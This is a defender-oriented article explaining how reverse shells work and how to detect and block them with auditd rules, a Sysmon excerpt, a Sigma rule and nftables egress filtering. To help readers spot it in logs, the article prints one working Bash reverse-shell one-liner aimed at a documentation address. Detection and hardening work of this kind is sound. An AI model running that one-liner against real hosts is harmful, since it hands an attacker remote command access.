Detect and block reverse shells with Sysmon and auditd

The reverse shell is one of the oldest techniques in offensive security and one of the most enduring. It can fit on one line and works when the host has permissive outbound access. Looking at the payload rarely helps to detect it. What gives a reverse shell away is what it causes on the machine and on the network.

This article takes the defender’s point of view. For the reverse shell definition and generator, see the tool page. Here, the commands and logs help you build and verify detection.

The mechanism

A bind shell opens a listening port on the compromised machine and waits for the attacker to connect. It almost always runs into inbound filtering, since a web server generally accepts connections only on 80 and 443.

The reverse shell flips the direction of the connection. The compromised machine itself opens an outbound connection to a host controlled by the attacker, then wires the input and output of a command interpreter to that connection. Many networks carefully filter what comes in and let almost everything go out. The firewall sees an ordinary outbound connection, and the attacker gets a command prompt.

The best-known form fits on one line of Bash:

# Classic form, to recognise in your logs.
# 203.0.113.10 is an address reserved for documentation (RFC 5737).
bash -i >& /dev/tcp/203.0.113.10/4444 0>&1

/dev/tcp/host/port does not exist on disk. It is a redirection interpreted by Bash, which opens a TCP socket. The shell’s descriptors 0, 1 and 2 (input, output, errors) are redirected to that socket. There are equivalents in Python, Perl, PHP, PowerShell, Netcat, Socat, or through OpenSSL to encrypt the channel. Our Reverse Shell Generator lists the common variants, which helps when writing and then testing detection rules.

MITRE ATT&CK files this behaviour under two families. First, the execution of an interpreter (T1059.004, Unix Shell and T1059.001, PowerShell). Second, the command channel, over a raw protocol (T1095), often on a non-standard port (T1571) or wrapped in an application protocol (T1071).

What comes before the reverse shell

A reverse shell requires the attacker to already run code or commands on the host. It follows code execution obtained some other way: command injection in an application, unsafe deserialisation, upload of an interpreted file, server-side template injection, stolen credentials on an administration interface. Fixing those flaws remains the main defence. Defence in depth assumes that one of them will eventually get through and prepares for what happens next: knowing who will see the execution, and what will stop it from succeeding.

Three observable signals

Payloads change, get encoded and get encrypted. Depending on the implementation and available telemetry, look for three useful signals.

1. Process lineage. A server process (nginx, php-fpm, java, w3wp.exe, httpd) starting sh, bash, cmd.exe or powershell.exe deserves investigation in the context of that application.
2. The outbound connection. An application server talks to its database, its cache and a few known APIs. A connection initiated to an unknown Internet address, on an arbitrary port, deserves an alert.
3. An interpreter wired to the network. A shell whose standard input is a socket, instead of a terminal or a file, is rarely legitimate.

Taken individually, each signal can be benign. Correlating the process tree with the outbound connection gives an analyst a stronger lead, but the alert still needs investigation.

Linux: auditd and process state

Logging executions

The kernel audit subsystem can trace every execve call. Tracing everything on a busy server produces a considerable volume; targeting the web service user is a good compromise. On Debian and Ubuntu, www-data has UID 33; adjust for your distribution.

# /etc/audit/rules.d/50-web-exec.rules
# Every execution started by the web server user
-a always,exit -F arch=b64 -S execve -F euid=33 -k web_exec
-a always,exit -F arch=b32 -S execve -F euid=33 -k web_exec
# Outbound connections initiated by the same user
-a always,exit -F arch=b64 -S connect -F euid=33 -k web_connect

Load the rules with augenrules --load and query them with ausearch -k web_exec -i. The full syntax is in auditctl(8) and audit.rules(7). The connect rule is noisy: on a server that calls many APIs, keep it for investigations or filter it in the SIEM.

Spotting a shell wired to a socket

On a suspicious machine, you can check what the descriptors of running interpreters point to:

# Lists shells whose standard input is a socket (correlate with network state).
for pid in $(pgrep -x 'bash|sh|dash|zsh'); do
  if readlink "/proc/$pid/fd/0" 2>/dev/null | grep -q '^socket:'; then
    echo "[!] PID $pid: stdin is a socket"
    ps -o pid,ppid,user,lstart,cmd -p "$pid"
  fi
done

# Which process holds which established connection?
ss -tnp state established

This check has a known limit. Variants that allocate a pseudo-terminal, for example with Python’s pty module, give the shell a real terminal; the parent process then holds the socket. You therefore need to walk the full lineage instead of looking at a single process.

Windows: Sysmon, events 1 and 3

Sysmon adds two particularly useful events to the Windows log. Event 1 (process creation) records the image, the command line, the user and, above all, ParentImage and ParentCommandLine. Event 3 (network connection) records the process, the destination address and port, and the direction of the connection.

This excerpt logs child processes of web servers and network connections from interpreters; correlate the two events:

<!-- Excerpt to merge into your existing Sysmon configuration -->
<RuleGroup name="web-spawns-shell" groupRelation="or">
  <ProcessCreate onmatch="include">
    <ParentImage condition="end with">\w3wp.exe</ParentImage>
    <ParentImage condition="end with">\httpd.exe</ParentImage>
    <ParentImage condition="end with">\tomcat9.exe</ParentImage>
  </ProcessCreate>
</RuleGroup>
<RuleGroup name="shell-network" groupRelation="or">
  <NetworkConnect onmatch="include">
    <Image condition="end with">\powershell.exe</Image>
    <Image condition="end with">\pwsh.exe</Image>
    <Image condition="end with">\cmd.exe</Image>
  </NetworkConnect>
</RuleGroup>

For PowerShell, also enable script block logging (event 4104). It records the code actually executed, including after decoding a command passed in Base64. The procedure is described in about_Logging_Windows.

A portable rule with Sigma

The Sigma format lets you write a rule once and convert it for most SIEMs. The SigmaHQ repository already contains related rules, more complete than this one, which only illustrates the logic:

title: Command interpreter started by a web server
status: experimental
logsource:
  category: process_creation
  product: windows
detection:
  parent:
    ParentImage|endswith:
      - '\w3wp.exe'
      - '\httpd.exe'
      - '\nginx.exe'
  child:
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\pwsh.exe'
  condition: parent and child
falsepositives:
  - Administration scripts started from the application (to be inventoried)
level: high

Take the falsepositives field seriously. Some applications legitimately run system commands, to generate a PDF or resize an image for example. Inventory these cases once and exclude them explicitly: any new occurrence then becomes a usable signal.

Blocking with egress filtering

Detection flags a reverse shell that has already started. Egress filtering stops it from succeeding, and it is the most cost-effective measure in this article. It is also the one we find in place least often during audits.

The principle fits in one sentence: a server may only open outbound connections to what it needs, and everything else is denied by default. With nftables:

table inet egress {
  set proxies { type ipv4_addr; elements = { 10.0.0.20 } }

  chain output {
    type filter hook output priority 0; policy drop;
    ct state established,related accept      # replies to inbound connections
    oif "lo" accept
    ip daddr 10.0.0.53 udp dport 53 accept   # internal resolver only
    ip daddr 10.0.0.10 tcp dport 5432 accept # database
    ip daddr @proxies tcp dport 3128 accept  # updates through the proxy
    log prefix "egress-drop " counter drop
  }
}

Three points come up regularly in the field.

• Filtering by port is not enough, because a well-informed attacker will pick 443, or even HTTPS. The destination is the criterion that matters. An outbound proxy that authenticates and logs provides both control and a trail.
• DNS is a channel in its own right. A server allowed to query any resolver can exfiltrate data in DNS queries. Restrict it to the internal resolver and monitor that resolver.
• A deny rule that logs becomes a detector. Every blocked attempt produces a line with the target address, which is often enough to open an investigation.

If you do not control the host firewall, systemd allows per-service filtering with IPAddressDeny=any and IPAddressAllow= (see systemd.resource-control(5)). More broadly, ANSSI (France’s national cybersecurity agency) recommends restricting flows and reducing the attack surface of systems in its security recommendations for a GNU/Linux system.

What an EDR does, and its blind spots

An EDR automates what the previous sections describe, continuously and across the whole estate. It observes process lineage, connections and file writes, correlates these events and can isolate a machine from the network within seconds. Its value depends on coverage, tuned rules and people responding to the alerts.

Two limits come up often. Coverage first: Linux servers, containers, appliances and network equipment are often less well instrumented than workstations, even though they are the ones exposing services. Configuration second. An EDR left in detection-only mode, whose alerts nobody reads, protects against nothing. Before ticking the box, check who receives the alert at three in the morning and what that person is allowed to do.

If you find one

Then walk the lineage up to the parent process to recover the execution context; it does not by itself identify the exploited vulnerability. Until it is fixed, cutting the session only delays the next one. Before you need them, test your rules with real variants in an authorised environment: a rule that has never fired has never been verified.